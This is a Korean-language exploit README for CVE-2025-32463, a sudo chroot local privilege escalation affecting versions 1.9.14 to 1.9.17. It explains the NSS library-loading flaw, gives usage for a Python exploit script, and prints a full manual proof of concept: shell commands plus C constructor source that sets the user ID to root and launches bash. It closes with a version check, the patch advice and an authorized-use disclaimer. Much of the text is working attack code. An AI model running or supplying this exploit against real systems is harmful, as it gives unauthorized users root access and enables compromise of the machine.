
sudo 1.9.14-1.9.17의 CVE-2025-32463 chroot 처리를 악용하는 로컬 권한 상승 익스플로잇으로, 악성 NSS 라이브러리 생성자를 심어 모든 로컬 사용자가 루트 셸을 실행할 수 있게 합니다.
--chroot(-R) 옵션을 통한 sudo의 로컬 권한 상승으로 root 권한을 획득합니다. sudoers 항목이 전혀 없는 계정(예: www-data)을 포함한 모든 로컬 사용자에게 유효합니다.
sudo 1.9.14 – 1.9.17은 sudoers 정책이 아직 평가되는 동안 — 즉, 인증 결정 이전에 — 사용자가 제공한 디렉터리로 chroot()합니다. 해당 chroot() 이후 sudo의 NSS 조회는 공격자의 chroot 내부에서 /etc/nsswitch.conf를 읽으며, glibc는 가짜 소스 이름을 dlopen("libnss_<name>.so.2")으로 변환합니다. 이 모듈은 root 권한으로 로드되고 해당 생성자(constructor)가 실행됩니다.
가짜 nsswitch.conf(passwd: /woot1337)와 ELF 생성자가 setreuid(0) + exec("/bin/bash")를 수행하는 악성 libnss_/woot1337.so.2를 심으면 root 셸을 얻을 수 있습니다. 이 익스플로잇은 sudoers 검사 이전에 실행되므로 호출자에게 sudo 권한이 필요하지 않습니다.
1.9.14 – 1.9.171.9.17p1 (1.9.14에서 도입된 chroot 변경 사항이 되돌려졌으며, 해당 기능은 deprecated 처리됨)Python 3 표준 라이브러리, 취약한 setuid sudo(1.9.14–1.9.17), 그리고 대상 시스템의 gcc(작은 libnss 모듈을 빌드하는 데 필요)가 필요합니다. 저권한(low-priv) 사용자로 실행하십시오.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337(+ /etc/group 복사본)이 포함된 chroot 디렉터리를 준비합니다.__attribute__((constructor)))가 setreuid(0,0) 및 execl("/bin/bash", …)을 수행하는 ELF인 libnss_/woot1337.so.2를 컴파일합니다.sudo -R woot woot — sudo가 woot으로 chroot하고 NSS 조회를 수행하여 root 권한으로 libnss_/woot1337.so.2를 dlopen하면, 생성자는 sudo가 사용자 인가 여부를 확인하기 전에 root 셸을 제공합니다.정식 수동 PoC (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
sudo를 ≥ 1.9.17p1로 업데이트하십시오. chroot 기능은 deprecated이며 이에 의존해서는 안 됩니다.
승인된 보안 테스트 및 교육 용도로만 사용하십시오. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에만 사용하십시오.